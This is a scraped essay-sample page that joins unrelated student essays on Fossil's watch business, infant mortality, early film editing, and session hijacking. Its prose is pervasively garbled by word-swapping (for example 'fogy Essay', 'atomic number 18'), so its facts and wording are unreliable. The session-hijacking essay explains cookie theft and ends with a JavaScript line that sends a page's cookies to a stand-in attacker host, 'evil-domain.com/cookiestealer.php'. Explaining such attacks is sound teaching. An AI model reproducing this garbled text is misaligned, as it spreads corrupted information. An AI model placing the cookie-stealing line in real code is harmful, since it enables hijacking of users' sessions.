Fossil Essay Example for Free

fogy EssayKosta had noted the recent success of S wait elan matches and was aware that watches and other goods could be imported from the Far East at very low cost. On a visit to Hong Kong, Tom studied a number of potential products for import including toys and stuffed animals before following Kostas advice and returned to the U. S. to develop a watch import logical argument. Enlisting the aid of two friends, Lynne Stafford for her sense of inclination and Alan Moore who had a masters degree in accounting, he invested his savings of $200,000 to found fogey as a Texas corporation in 1984. dodos initial purchase of watches from a Hong Kong manufacturer include some retro and jumbo designs that Macys thought were hot, and significant recites followed. A design staff was demonstrable that include watch buyers from retail chains. Inspiration came from many sources. , however the strongest was retro themes from the 1940s and 50s. normalers paged through and through magazines from this era, including Life, Look, and Time, and visited flea markets searching for old watches. Between 1987 and 1989 sales grew from $2 million to $20 million, assisted by liberal credit from the Hong Kong manufacturers of fogey watches.One sector included conservatively styled time pieces including brands such as Citizen and Seiko. The second gear sector included products designed to reflect emerging fashion trends and included Swatch, expect? , Anne Klein and Anne Klein II, and Fossil. This segment was fueled by fashion-conscious consumers who considered watches as fashion accessories and often possess multiple watches. Branded fashion watch sales were estimated to represent approximately $400 million in retail sales in 1990. Major Competitors Fossils major competitors were Swatch and Guess?.Although market share data were difficult to obtain, it was generall(a)y believed that Fossil and Guess? had nearly equal market shares and that Swatch had slipped to third in recent m onths. Numerous other considerably smaller competitors existed including Anne Klein, Anne Klein II, and Gucci. Swatch Although quartz watch technology had been developed in Switzerland, by the late 1970s the Japanese companies Seiko, Citizen, and Casio and the fall in States firm Texas Instruments exploited production improvements and economies of scale to drive tolls down.Strategic habit of the manufacturing experience curve led to an oersupply of quartz watch movements and a disgusting price war. Many competitors were driven out of business with Casio, Hong Kong manufacturing businesss, and a few other firms surviving in mass market watches, and Seiko and Citizen in the moderately priced segment. The Swiss watch industry was under severe attack at the low and mid price points, and both unemployment and losses on bank loans were increasing. In 1978, the Swiss g overnment agreed to provide up to one-third of the costs or a maximum of Sfr. 5 million for a venture of the leading w atch manufacturers to develop a Swiss electronic watch program. Additional financing was supplied by banks, who wrote off existing loans and provided hundreds of millions of francs of unfermented expectant, and a group of investors who paid $ c million (Sfr 151 at the time) for a 51 part share. The consulting firm of Hayek Engineering was hired to lead the effort to revive the lower-priced segment. This venture produced a number of raw(a) patents and developed both new watch and watch manufacturing technologies, along with the superpower to design and manufacture watches efficiently at low cost.The resulting firm, Swiss Corporation for Microelectronics and gibemaking (SMH) included the existing brands Omega, Longines, Tissot, and Rado in the moderate and exquisitely watch segments. N. Hayek and E. Thomke led efforts in the low priced segments that resulted in the Swatch manufactured by SMHs ETA division. Development of the Swatch began in 1980, resulting in a product launch i n 1983. The manufacturing growth was highly automated using robots and computers in the manufacturing and assembly processes. The watch had been designed with only 51 parts, preferably of the usual 90 to 150 parts in other watches, had an ex-factory price of Sfr15.Parts were injected directly into the plastic case which was sealed by ultrasonic welding. This process was highly capital intensive, leading to direct labor costs of less than ten portion of total costs. The manufacturing process permitted a wide variety of dials, cases, and straps however, variations in the shape and size of the watch case were quite difficult. One plant could produce up to 35,000 watches a day. Swatch was test marketed in the United States in celestial latitude 1982 at 100 Sanger Harris department stores in Dallas, Salt Lake City, and San Diego without any advertising or universe relations.Although consumer reactions were mixed, Swatch was officially launched in Switzerland in March 1983, followed b y a gradual worldwide release. A second U. S. test market in December 1983 through the Zale jewelry chain and Macys was not successful. Swatch made capacious adjustments throughout their marketing program, and by 1985, U. S. sales accelerated. In 1986, a worldwide oneness price of $30 for most models was set and sales accumulated to over 50 million units worldwide by 1988. The 100 millionth Swatch was sell in 1993, when the price of a basic Swatch was $40.In 1992, SMH had combined sales for all brands of $2. 1 billion, producing $286 million in profits and a market equity apprise exceeding $3. 5 billion. Banks had encouraged Nicholas Hayek to assume a 20 percent equity ownership in the mid-80s, a successful arrangement for both. Fifteen thousand employees worked in plants in Switzerland and Thailand producing semi-conductors, watches, movements, batteries, and straps. Guess? In 1983, Philip Mickey Callanen acquired the worldwide liberty to manufacture and market watches with the Guess? name.Investing $40,000 of his personal funds, he opened business in his garage, sourced watches from Hong Kong, and shipped for the 1983 Christmas season. Growth continued through the 1980s at over 20 percent annually. In 1991, Callanen Company was acquired by Timex, expanding distribution to Japan, Australia, France, England, Germany and Canada and providing Callanen an additional source of watch technologies such as Indiglo dial illumination. In 1993 Callanen marketed both Guess? watches for men and women and Mo authorize watches for women. Guess? represented 85 percent of the $80 million loadings (3 million watches) in 1992.The Guess? product line included 250 to 300 styles including classic, fashion, sporty, multi-function, chronograph, novelty, and alloy bracelet watches. About 20 percent of the product line was revised seasonally four times a year. Guess? watches had a suggested retail price between $42 and $115, using department stores as the major retail outlet. Fi fteen percent of Guess? sales were in planetary markets. Additional products included watch bands and private label watches for Disney, Hard Rock Cafe, Limited Express, Macys, and others.Virtually all Guess? watches were designed and manufactured at Guess? s partially owned manufacturing facility in Hong Kong. The 270 employees included a design staff of 19. Callanens business offices, wareho drop, and watch repair facility were determined in Norwalk, Connecticut, and they had a showroom in New York City. Manufacturing and Sourcing About two million, or eighty- quin percent of fine watches sold worldwide, were manufactured in Switzerland in 1988, making Switzerland the largest value producer with sales of $4. 9 billion (96 million watches) in 1990.Most other watches were manufactured in the Far East, with the major exception of Swatch, which was manufactured in a highly automated factory in Switzerland. The development of the Swatch and its robotic factory was credited with saving the Swiss watch industry. Japan was the worlds largest producer in terms of units, with 325 million units, representing 44 percent of the worlds production in 1990. Hong Kong, relying on assembly by hand, produced 175 million watches in 1990, and was expected to produce 340 million, or one-third of the worlds watches in 1993 (Table 6).Due to Hong Kongs focus on low-priced watches, this represented only nightspot percent of the total value of watches produced. Fossil chose to assemble watches in Hong Kong, using components from Japan, China, Taiwan, Italy, and Korea. fogey IN 1993 Business Strategy Fossils initial public whirl prospectus defined their business strategy as Brand Development. The Company has established the fogey brand name and image to reflect a theme of fun, fashion, and humor, and believes that the FOSSIL brand name has achieved growing acceptance among fashion-conscious consumers in its target markets.Product Value. The Companys products provide value by offer ing quality components and features at moderate prices. For example, the Companys FOSSIL watches, which offer features such as raised indexes, enamel, textured, shell or semi-precious stone dials, gold electroplating, and fine leather straps, are sold at an average retail price of $63. Likewise, the Companys token watches, which incorporate a number of features offered in FOSSIL watches, are sold at an average retail price of $42. Fashion Orientation. The Company ifferentiates its products from those of its competitors principally through innovations in fashion details, including variations in the interposition of watch dials, crystals, cases, and straps for the Companys watches and trimming, lining, and straps for its handbags. Expansion of International Business. The Company is seeking to achieve further growth in its international business through the establishment of a joint venture to operate a European distribution bosom, the establishment of a branch office in Canada, and the recruitment of new distributors in selected international markets.Introduction of New Product Categories. The Company may leverage its design and marketing expertise to expand the scope of its product offerings through the introduction of new categories of fashion accessories that would complement its existing products. Active Management of Retail Sales. The Company manages the retail sales process by carefully monitoring its customers sales and inventories by product category and style and by assisting in the conception, development, and implementation of their marketing program.As a result, the Company believes it enjoys close relationships with its principal customers, often allowing it to influence the mix, quality, and time of their purchasing decisions. Close Relationships with Manufacturing Sources. The Company has established and maintains close relationships with a number of watch manufacturers rigid in Hong Kong. The Company believes that these relationships allow it to quickly and efficiently envelop innovative product designs and alter production in response to the retail performance of its products.Coordinated Product Promotion. The Company coordinates product design, packaging, and advertising functions in order to communicate in a cohesive manner to its target markets the themes and images it associates with its products. Personnel Development. The Company actively seeks to recruit and train its design, advertising, sales, and marketing personnel to assist it in achieving further growth in its existing businesses and in expanding the scope of its product offerings. Cost Advantages.Because the Company does not pay royalties on products sold under the FOSSIL and RELIC brand names and because of cost savings associated with the location of its headquarters and warehousing and distribution center in Dallas, Texas, the Company believes that it enjoys certain cost advantages which enhance its ability to achieve attractive profit margins. Centr alized Distribution. Substantially all of the Companys products are distributed from its warehousing and distribution center located in Dallas.The Company believes that its distribution capabilities enable it to reduce inventory risk and increase its flexibility in meeting the delivery requirement of its customers. (Fossil, 1993, 23-24) Manufacturing Fossil East, a 35 employee subsidiary of Fossil (owning 20 percent interest), acted as Fossils exclusive agent, buying all of Fossils watches from approximately 20 factories located in Hong Kong. In 1992, about 21 percent of these watches were purchased from Pulse Time, a Hong Kong corporation in which Fossil held a minority interest. Three other factories distributively accounted for more than 10 percent of Fossils watches.The company felt that developing long-term relations with suppliers was essential to its success. While the loss of any single manufacturer could disrupt shipments of certain watch styles, it would not impact their overall marketing program. slash goods were manufactured in 12 factories located in Brazil, China, Hong Kong, Korea, Taiwan, and Uruguay. Fossil believed that its policy of outsourcing products allows it to achieve increased production flexibility while avoiding significant capital expenditures, build-ups of work-in-process inventory, and the costs of managing a substantial production work force (Fossil, 1993, 27). ProductsFossils flagship products were the Fossil watches introduced as a brand in 1986. Handbags were introduced in 1991 as the first entry into the leather goods market. Watch Products Watches represented 98. 1, 96. 4, and 92. 5 percent of sales in the years 1990, 1991, and 1992 respectively. Following the Fossil brand, Fossil introduced the memento brand, Fossil watch straps, and private label products. FOSSIL Watches Fossil states its watches are targeted at middle and upper income consumers between the ages of 16 and 40 and are sold at retail prices generally rangi ng from $45 to $110, with an average price of $63 (Fossil, 1993, 25).RELIC Watches The Relic brand shared many of the features found in Fossil watches but in a format suitable for lower priced fashion watches. Relic watches are targeted at lower and middle income consumers and are sold at retail prices generally ranging from $40 to $50, with an average price of $42. Fossil Watch Straps Watch straps were targeted at customers who bought Fossil watches however, they could be apply with a wide variety of watches. They were priced from $13 to $15. Private Label Products Fossil provided private label watches for retailers and other customers.Leather Goods Following the introduction of Fossil handbags in 1991, small leather goods such as coin purses, key chains, personal organizers, wallets, and belts for women were introduced in 1992, accounting for about five percent of sales in 1992. The handbags emphasized classic styles and creative designs, including a tan and black binocular bag, a green and tan drawstring sac, and a natural color military ammunition pouch retailing from $48 to $130, with an average price of $87.Fossil felt that since womens leather goods tended to be located near womens watches in department and specialty stores, purchase of one Fossil product might lead to another. They also felt that they were price competitive. Design and Development The design staff sought to differentiate its products from those of its competition principally by incorporating innovations in fashion details into its product designs. These included variations in the treatment of dials, crystals, cases, and straps for the companys watches and trimming, lining, and straps for handbags (Fossil 1993, 26).Fossils watch lines included Airmaster, Casual, Chronograph, Dress, Limited Edition, Pyramid, Crystal, Skeleton, and Vintage watches. About 500 different styles were available at any abandoned time, with new designs offered five times a year. Over 1,000 models were availa ble in 1992. Design prototypes of watches were created in Hong Kong in as little as a week, and lead-time from committing orders to shipment ranged from two to three months. Fossil believed that its close relationships with manufacturers gave it a competitive advantage in quickly introducing innovative product designs.Promotion Fossil made use of an in-house advertising department for design and execution of packaging, advertising, and sales promotions. Company executives felt that extensive use of computer-aided design reduced time and encouraged greater creativeness in developing these programs. The companys stated advertising themes aim at evoking nostalgia for the simpler values and more optimistic outlook of the 1950s through the use of images of cars, trains, airliners, and consumer products that reflect the classic American tastes of the period.These images are carefully coordinated in order to convey the flair for fun, fashion, and humor which the Company associates with it s products (Fossil, 1993, 28). A sundial watch sold over 250,000 pieces at a retail price of $16. Fossil developed cooperative advertising programs with major retail customers and developed in-store visual support through its packaging, signs, and fixtures. Consumers were offered promotional particular propositions, including unique tin boxes as watch packaging, T-shirts, caps, and pens. In ten locations, Fossil opened a shop-in-shop format including a wide variety of Fossil products and promotional materials.With greater emphasis on product design, retailer relations, and promotion, Fossil conducted advertising limited to spot television in local markets since 1989, national vagabond since 1991, outdoor advertising in four markets, and occasional ads in Elle, Mademoiselle, Vogue, and Seventeen. Distribution and Sales Force The majority of Fossils products were shipped to its warehouse and distribution center in Dallas. A significant number were bar coded prior to shipment for ent ry into a computerized inventory control system, which enabled Fossil to track each item from receipt to its ultimate sale.Products were distributed to approximately 12,000 retail locations in the United States including department stores and specialty retail stores. In 1991 and 1992, department stores accounted for about 67 percent of net sales. (Table 8 provides data on watch distribution by price and retail channel. ) Fossils ten largest customers accounted for 40 percent of sales. The largest customers were Dillards and the whitethorn Company, each accounting for from ten to thirteen percent of sales. Other principal customers included Carter Hawley Hale Stores, Dayton Hudson, Federated Department Stores, JCPenney, Macys, Nordstrom, and Service Merchandise.Although the industry typically used independent sales representatives, Fossil made use of 25 in-house sales and customer service employees and 12 independent sales representatives. In-house personnel received a salary while i ndependent sales reps worked on a commission basis and did not represent competing product lines. International sales in 1990, 1991, and 1992 were 5. 6, 7. 2, and 8. 1 percent of net sales, respectively. Sixteen independent distributors operated in Europe, South and Central America, Africa, and Australia. These distributors resold watches to department stores and specialty retail stores.Fossil received payment in U. S. dollars base on a uniform price schedule. Financial Strategy Fossil had started out as a bootstrap financed firm. Personal income and savings from Tom Kartsotis ticket-brokering business had provided the initial capital for the operation, and the company had further financed operations by the creative use of trade credit and bank loans. With sales growing rapidly, Fossils expansion needs exceeded what it could raise internally. To sustain sales growth, Fossil needed a substantial increase in working capital.Fossils ability to continue to fund itself with debt capital , given their exposure to volatility in the fashion product market, was questionable. An initial public stock offering ( initial public offering) which would provide access to capital needed to expand Fossils working capital base and fund additional sales growth, was managed by Montgomery Securities of San Francisco. While not uncommon, IPOs of less than $20 MM involved transaction costs that many viewed as being too high to justify the offering. A vituperative decision that needed to be made was what proportion of the ownership should be issued.

Infant mortality Essay Example for Free

Infant mortality rate EssayInfant mortality simply refers to the number of death amongst the young ones per green births. In this historical study, child mortality rate between a range of time starting from 1750 to 1917 is studied. Its rate varies from one atomic number 6 to another with the eighteenth century recording the superiorest number of deaths among the young. Progressing towards the twentieth century, there has been a drastic decline in the death rate of infants. Some medical professionals believe that this is be motility of the brotherly health reform and medical improvement during the 19th and 20 centuries. On the other hand, some scholars, like Thomas McKeown, strongly suggest that this is mainly attributed to the modify nutrition and sanitation of the infants environment (McKeown, 121). Thomas McKeown is the scholar who spearheaded the well cognise McKeown Thesis. There has been an ongoing debate between the two ideas virtually which played the main stron g role in checking the rampant death of the infants for several decades featured in countless student reading, so who actually maxim the truth between the 19 and the 20th centuries?Infant mortality reduced over the centuries starting in the late 19th and early 20th century in the United States. The highest rate of death among the infants was observed in the first half(a) of the 18th century (McKeown, 65) , this high rate of infant mortality was viewed as gaind by societal break-down and poor policies rather that specific pathological organism. This was considered as a reflection of a poor frame work in the society. amid 1750 and 1800, the infant mortality rate was at the peak with many of the infants succumbing to their diseases.At the time, the technical aspects in undertaking comprehensive investigation to establish the actual cause of the diseases and finally finding the cure had not been successful. Many infants therefore died in large numbers. The community attributed all this to the broad and unfortunate societal problems. Many major(ip) countries had areas with indecent housing, flooded basements, contaminated water supplies and poverty, resulting in diseases such as typhoid, scarlet fever, tuberculosis and typhus to thrive (McVeigh).This in the end challenged them to actually hypothesize of ways to handle these problems. What they have come to conclude was that prenatal and postnatal diseases were ultimately influenced by external factors such as food deficiency, alcohol and tobacco plant use (Mudd, 117). While diseases and disabilities that are determined during conception or after birth are invariably different, both their origins can still be potentially leadled. In the second half of the 19th century and the first decade of the 20th century, the government of the United States came up with efforts to curb this menace.They recommended the removal of infants in the cities this was considered a major success since most mothers who were residin g in the city end up having their young ones dying at a tender age. Some prenatal diseases, for mannequin was due to exposure to harmful toxins in the environment, thereby affecting the childs development in the mothers womb (Mudd, 117-118). This was viewed that the city heart-to-heart the young to unhealthy environment hence exposing them to diseases. The congestion in the city was also found to facilitate the spread of contagious diseases among the young.Various forms of pollutants were rampant in the city and therefore the infant could easily contract contagions. Many women at the turn of the 18th century were working in gas lit factories and sweatshops, which may affect their pregnancy (McVeigh). The mothers were advised to settle in their rural homes where these hazards were considered to have minimal consequences on the infants. It was fortunate that legislations were finally passed during 1848 to promote genuine concern for semipublic health (McKeown, 66).Similarly, inter national city in Great Britain during the era, as well as an beta location throughout Europe and the rest of the world in terms of international trade and human transit. Because of so many international produce, goods and people arriving in London daily, it became clear to medical professionals that foreign bodies can a lot be the bearers of disease from London, such illnesses were doomed to spread throughout the rest of the country. In helping Londons citizens stay healthy, infant mortality evaluate were automatically dropped simultaneously.By exploring Londons newspaper archives, as well as other contemporary newspaper articles and make up the correspondence of health palm workers during the era, the information concerning infant mortality rates can be gathered and compared. In contrast, some scholars, such as Thomas McKeown, strongly suggest that this is mainly attributed to the alter nutrition and sanitation (Colgrove). The milk supply was improved among the young one, bec ause the milk use and supply of edible products was improved by the government. This government strategy has been significant in preserving the life of infants at the time.Child hygienics was another factor considered in checking the high rate of infant mortality. A child hygiene program was established by the government to ensure the infants were provided with the highest quality of hygiene . With the advancement on the technological innovations, infant mortality reduced in significant proportions over the centuries. The discovery of the various medical equipments and apparatus including the microscope and the stethoscope in the late 19th century boosted the medical fields capabilities to handle these challenges (McVeigh).Simultaneous to this, cracking strides in the improvement of education of interns started happening in Europe. The scientist who specialized in medical microbiology studied deeper and discovered very many minute microbes which were found to cause high rate of i nfant mortality. These microbes were found to thrive on unhygienic conditions therefore causing high rate of infant mortality. They were found to be rampant especially in poorly handled milk and other foodstuff.With these discoveries of stethoscope and the microscope in the 20th century, many diseases were kept under control. This was because scientists had become knowledgeable just about health matters. onwards this tremendous discovery, many minute microorganisms causing several diseases amongst the young ones were at large and scientists were puzzled with unchecked high rate of infant mortality. The electron microscope with high magnification enabled these scientists to recognize the various disease causing organisms including viruses and bacteria.They managed to know the specific diseases that these microorganisms caused and the appropriate control measures needed to keep them at bay. They came up with antibiotics to cure infection in the infants. Antibiotics such as penicilli n were also discovered in the early 20th century. At this time, due to these discoveries and appropriate measures taken by the government, the infant mortality drastically reduced. Medical attention to the infants was considered a priority and hence reducing the rate of infants death.Another important factor in curb bit infant mortality is the development of obstetrics and the rise of gynecology in that time (McVeigh). It encompassed all aspects of pregnancy, and allowed sanitary and safe conditions for the mother and child. Arguably, poor sanitary conditions during vaginal birth are also one of the main causes of infant mortality in earlier centuries. McKeowns views on public health sparked controversy during the 1970s and 1980s with its focus on allocation of medical resources.While the foundation of his empirical views might be considered flawed today, it spearheaded studies of where should public health practitioners should focus their efforts and the most important determinant s of a societys mortality (Colgrove). The thesis he authored was about the explanation of the dramatic population growth from around 1770 to the present (Szreter). It stated that it was because of the domino effect of improved economic conditions better standards of living and enhanced nutritional status that strengthened infant resistance to most diseases.His works have been about the synthesis of these advanced ideas and later on his works began getting much attention because of its profound content (Szreter). It was curious to note that it attracted more audiences during its later years, even though it didnt substantially contain any new information. It was probably the stronger awareness in public health that caused this. However, McKeown will always be considered a figure of importance because of his role in shaping contemporary systems to prevent infant mortality.Other factors that can be attributed to a precipitous decline in infant mortality rate starting from the late 19th and early 20th century include the improvement in economic growth, improvement in nutrition, new sanitary measures by the government and advances in knowledge about infant care in the united states of America (Colgrove). Though little is known about how each of this factors contributed in the reduction in the infant mortality rate, a systematic review of the data from the specific period stressed that providing find fault milk in market was the main contributor to this decline in the infant mortality .However, the writer of this journal was biased in the sense that handling milk supply and milk hygiene was not the only cause of infant mortality. Its important to note that the both technological advancement and improved nutrition played a very crucial role in checking the infant mortality rate starting from the late 18th to early 20th century. The perception that the high rate of infant mortality was due to societal problems and poor policies could not help in reversing the trend i n the first half of the 18th century.Technological advancement saw the discovery of the various medical apparatus and equipments in the 20th century which helped in the reduction of high infant mortality rate. The scientists discovered the actual causes of these deaths being pathological organism which could be controlled. The economic growth and education enabled this scientist to conduct further research and hence control measures were devised which came up with cure for various diseases affecting the infants.

The Great Train Robbery, 1903

The Great modernise Robbery, 1903The Great accept Robbery produced by Edwin S. doorkeeper in 1903 is frequently acknowledged as the first narrative fritter outside. Porter, who had previously worked for Thomas Edison as a cameraman, takes the plot from a story based on a real train robbery, written by Scott Marble in 1896. To bring it to life in elbow rooms the public had never seen before, Porter utilises non-homogeneous new and innovative techniques, of which previous film-makers had never thought of using in the dormant relatively new process of film-making. Edisons company, who produced the film decl bed it absolutely the ranking(a) of any piteous picture ever made due to the editing techniques that were totally new to the industry.1Eighteen years later, Victor Sjstrm produced The Phantom appearance with Svensk Filmindustri. Sjstrm wrote the screenplay, which he adapted from a novel by Selma Lagerlf, as well as directed and starred in the film that Paul Mayersberg descr ibes as a major departure from his previous outdoor dramas.2In The Phantom trucking rig, Sjstrms creative editing style and new film techniques are illustrative of the set ahead made by film-makers in the conviction between the two films production, but also of the unique variety of films being made by the Scandinavian film industry in this fast changing and highly inventive period of cinematic history.As it is one of the first films to follow an actual narrative and not merely a single shot of a simple, everyday situation such as seen in the earlier works of the Lumir Brothers, the editing techniques in The Great Train Robbery are limited but highly experimental for the time. The film, most notably, makes use of bring downting between two locations with use of a visual match to suggest one is happening after the other.3This is demonstrated between shot seven and eight where in the former, the train is seen moving on the tracks away from the camera, then in the next it is seen moving in the same direction and at the same list to the camera. The idea is simple, and may seem taken for granted(predicate) to modern viewers who are use to these cinematic conventions, but it demonstrates how editing is being manipulated in order to form a linear narrative that would be new to viewers of the time. We also see in this film the beginnings of the creation of a parallel narrative the film begins in a telegraph smirch where a worker is shot and tied up, the narrative moves on from here until shot ten when we return back to the telegraph office with the man still tied on the floor. The concomitant that the set up is exactly the same as where it was left off in the first shot, despite the plot moving on is indicative that the events that occur in shot ten are happening at the same time as the previous action we reserve seen is. This idea is consummated with the telegraph workers entrance in the dance hall in shot eleven, as it would obviously have taken some time for him to r apiece this new location, in which time the previous events could have run their course and in the next shot, number twelve, the two narratives are thus sufficient to meet up as the men at the dance chase the bandits through the woods.Focusing on how editing functions in The Phantom Carriage, a pellet which demonstrates Sjstrms more sophisticated style comes early on in the film, nearly five minutes in. Salvation Army Sister, Edit, pleads on her deathbed to see David Holm, an intoxicating of whom she cared for in the past. She sends a companion she met whilst working for the Salvation Army to find him she and another friend of Edits, Gustafsson, part ways to cover more ground in their search for Holm. The sequence that follows watches both the Salvation Army friend and Gustafsson in the two separate locations they go to in their searches which, though similar to the shots explained above in The Great Train Robbery sequence, is pulled off more sophisticatedly in The Phantom Carriage sequence.4First the camera, and thus the viewer, follow the female friend to the dilapidated ingleside of Holm, his wife and two children. As the friend arrives at the door to the house, Sjstrm chooses to enclose the shot in a circular black frame. The edge is sharp-worded not fading out like the vignette effect which he utilises later on and as the bottom third of the circular frame is cut off out of shot, it could be reminiscent of the frame that looking through a key hole would produce to the eye. This effect creates the feeling of the viewer as a voyeur the viewer has not been invited to look, but is see her unnoticed as she unlocks the door. Later in the sequence, after shot thirteen where the friend solace Anna, Sjstrm cuts to the path of Gustafsson that runs parallel to this short sequence. The viewer sees him enter a bar and, presumably, since there are no inter-titles in this sequence, ask the staff about(predicate) finding Holm. A few shots in howe ver, the setting cuts back to the first location and the narrative continues from the point it left off, with the friend putting her coat around Anna. We are taken back to the first narrative jut for this single shot before being brought back over a exonerate to the second, for four shots, and once again cut back for a single shot of the first. These extreme cuts tell us that the two separate sequences are happening at the same time. The fact they go back and forth in rapid succession is makes it more obvious or fancyable than the occurrence of parallel narratives in The Great Train Robbery where it only cuts back once.One of the most significant differences in the editing of the two films is the scale of the shots. Porter tends to have the camera further away from his subject so that a large area and all the action can be seen at once, whereas Sjstrm chooses to vary the shots, some establishing the room and others close-ups of characters reactions and actions. Porters shots are also lengthier, so we see, for example, the safe and sound sequence of the robbers hiding and waiting for the train in shot two. This may have a negative effect on the viewers understanding of the narrative. The closer shots and varied cutting of the The Phantom Carriage sequence allows the viewer to feel like they are in the midst of the story, seeing little detail rather than further away simply watching it unfold. After the framed shot outside the door, the viewer is let inside the room and given a full view of it, as is standard with many films of the time. This master shot allows the viewer to get a feel for the landscape of the scene, and gain an understanding of the surroundings, which is necessary in order for the viewer to3keep up with Sjstrms relatively liberal use of cutting that contrasts greatly to Porters extended shots. In this first interior set up, the friend is seen looking toward the front, right corner of the room. In the next shot Sjstrm cuts so that the camer a faces the direction the friend has just faced, therefore we are able to see what she sees, which is the two children asleep in a bed on the floor. This is known as an eyeline match where the angle of the camera matches the eyeline of the person in the previous shot. A similar cutting technique occurs in shots four to nine, where axis cuts (where the position of the camera moves in each shot so it looks back on itself on a 180 degree plane) go back and forth between the friend and Holms wife Annas back, who is sit down in the corner of the room.These are examples of the more sophisticated editing techniques that can greatly enhance the viewers understanding of the narrative firstly because, due to the potential drop for more close-ups, the viewer can grasp who the characters are and be more aware of their emotions displayed by their faces and what they are doing. This insight is lost slightly in the dogged shots of The Great Train Robbery which dont bring the viewer close enough to the action to distinguish characters or even what exactly they are doing for example in the mail swindle shot (set up C), one robber seems to take something, or put something into the killed workers pocket what exactly he does we cannot know as we are too far away to see3. These cutting techniques can allow the viewer to get a grip on the characters position in the room and understand who it may be their emotions are directed at as well. Such methods also enhance the aesthetic look of the sequence, rather than simply seeing the whole scene unfold from the same far off angle that is seen in The Great Train Robbery.The fast cutting used in The Phantom Carriage also effects the tone or atmosphere of the scene which in turn contributes to the way the viewer interprets the narrative. Tension is built up in the scene as the viewer see some part of the action and then is cut away to see a characters reaction to this. Alternatively though, the more extensive shots of the film and the lengthy shots in The Great4Train Robbery could also create a feeling of tension or suspense in the way the viewer is able to see all the action at once where sometimes the characters themselves cannot. An example of this effect is seen in shot thirteen of The Great Train Robbery, the bandits go through their loot as only the camera sees their pursuers creeping up on them from behind. In The Phantom Carriage, in the scenes in which the ghostly carriage of death comes into shot, tension is created by its slow, suspenseful motion across the screen this could be due to the fact the viewer knows its destination will be psyche who has recently died, and its slow pace signifies an unease in its path to the dead.-1711 wordsexcerpts from sources to back up/contrast to points = integrate into above paragraphs -100add in one hundred fifty about interior/exteriorsconclusion -100BibliographyVictor Sjstrm, Encyclopdia Britannica Online, at http//www.britannica.com/EBchecked/topic/547219/Victor- Sjostrom accessed 18.03.13.Cook, David A. and Sklar, Robert. Edwin S. Porter, Encyclopdia Britannica Online, at http//www.britannica.com/EBchecked/topic/471087/Edwin-S-Porter accessed 18.03.13.Dirks, Tim. The Great Train Robbery (1903) at http//www.filmsite.org/grea.html accessed 18.03.13.Mayersberg, Paul. Phantom Forms The Phantom Carriage, on The Criterion Collection at http//www.criterion.com/current/posts/2000-phantom-forms-the-phantom-carriage accessed 16.03.13.Musser, Charles. Moving towards fictional narratives story films become the dominant product, 1903-1907 in Lee Grieveson and Peter Krmer (ed.) The Silent movie house Reader. London Routledge, 2003.

Study And Analysis On Session Hijacking Computer Science Essay

Study And Analysis On Session Hijacking Computer experience EssayGenerally the most common way of tracking a subprogramr login state is done by using a cookie. The process is preferably simple, go to a page and enter the login id and password. If the discipline provided is correct, the next response is in the form of a cookie which uniquely identifies a particular drug user. In order to preventive the login credentials, cookie is checked for each page of the site and it verifies your originality by being intact, until you log out.IntroductionSession highjacking term manner the playation of presently running academic term. Sometimes it is often referred as session signalize, it is used to get hold of the unauthorized gain to a system or to exploit services in the a computer. When a magic cookie which is used to authenticate the user to the server is stolen and used for the unauthorized purse is referred as session hijacking. Generally it is relevant to the web developers, a s HTTP cookies atomic number 18 used to maintain the session on a site cigarette be easily stolen by an attacker or the attacker behind utilize by gaining admission to the computer where the he can find the saved cookies. cookyWhen the user runs a machine, the machine stores a small text file which is called as a cookie. Cookies are plain text, they do non contain any execut sufficient codesA web page or sever instructs a particular browser to store the information and sent it back whenever there is a request found on certain rules. Majority of sites identifies the users by these cookies. A user login state is done by using a cookie. The process is quite simple, go to a page and enter the login id and password. If the information provided is correct, the next response is in the form of a cookie which uniquely identifies a particular user. In order to check the login credentials, cookie is checked for each page of the site and it verifies your originality by being intact, until you log out.Session hijacking in TCPIn the session hijacking in TCP, the attacker takes over the TCP session between the two computers. As the most of the authentication is done at the starting of the session, this allows the hacker to gain over the machines.One of the common methods used is source- routed of IP packets. It is generally middle in the middle kind of a attack, where a hacker a raze B intercepts the conversation between the A and C by encouraging the packets to pass through the attackers machine.Even though the source routing is turned off, the attacker can use a method called blind hijacking, where the attacker tries to guess the response between the two machines. If he is successful, then the hacker sends a command that he can never see the response but however a common command is like password, which allows to access from some other plant on the network.One of the purposes of such an attack is to cause the denial of service attack at one end point so that it wi ll non respond. This attack can force the machine to crash or it can force the network connection for heavy packet loss.ProblemThe main conundrum with this kind of a system is that it leaves the user identification at a single data point and more over the cookies sent over the meshwork is in the form of plain text, which makes it to highly vulnerable to packet sniffing, where hacker intercepts the conversation between the network and the computer. One the user login cookie is stolen it can be used to run the similar session at a distinct place by manually setting the cookie.Because the server cant ramify between a original cookie and a duplicated cookie which was modified by the attacker through the packet sniffing, so it shows as if the user is logged on. This lawsuit of attack is generally referred as session hijacking. To prevent session hijacking using cookies there are few methods.The first one is, sending the cookies over the SSL this is a common method technique. SSL use s the encryption method for the request on the site before responding across the internet and cookie value cannot be merely determined by the sniffing. The banks and stores generally use this method frequently since most of the session is for short duration of time.Another method is to generate the session backbone randomly or which is based on the information of the user such as login id, IP address, and time when he logged in etc. It makes the session key un- usable, though it is possible.The other way is to revalidate the particular user before performing assigned to a higher security level, such as, many sites as for login information for the second time before modifying the password.Cookies in JavaScriptCreating, removing and manipulation of cookies can be done in JavaScript by using document. cookie property. This property behaves as a set cookie header when it is assigned to a cookie header. While creating a cookie, string must be used in the same format.You can create, man ipulate, and remove cookies in JavaScript by using the document.cookie property. This property acts as the Set-Cookie header when assigned to and as the Cookie header when read from. When creating a cookie, you must use a string thats in the same format that Set-Cookie expectsdocument.cookie=name=prahald domain=nczonline.net path=/ hardly by modifying the values of document.cookie does not delete the cookie. It just either creates or modifies the particular string. So that whenever the next request is made to the server, these cookies are sent along the set cookie.To retrieve cookie values in JavaScript, just read from the document.cookie property. The returned string is in the same format as the Cookie header value, so multiple cookies are separated by a semicolon and space. Examplename1=Munn name2=prahaladThis is the reason wherefore, we need to compulsory make a cookie string manually as an original cookieCookie separateing and XSSTo able to load JavaScript from a distinct doma in onto a page opens up at a particular week point or security spiral holes. In fact a request from a third party, the JavaScript doesnt include the cookies containing in a page. The JavaScript can get access to all of them. all told the script page are considered as, running on a common platform. With the similar path, and by using the similar protocol as the page. This means a script form unfaltering in other domain page by reading the cookie as cookie. Document.For example, it can be dangerous , if a person lodes a script from evil-domain.com which consists of some useful codes. However, users at evil-domain.com can switch that code to the following(new Image()).src = http//www.evil-domain.com/cookiestealer.php?cookie= + 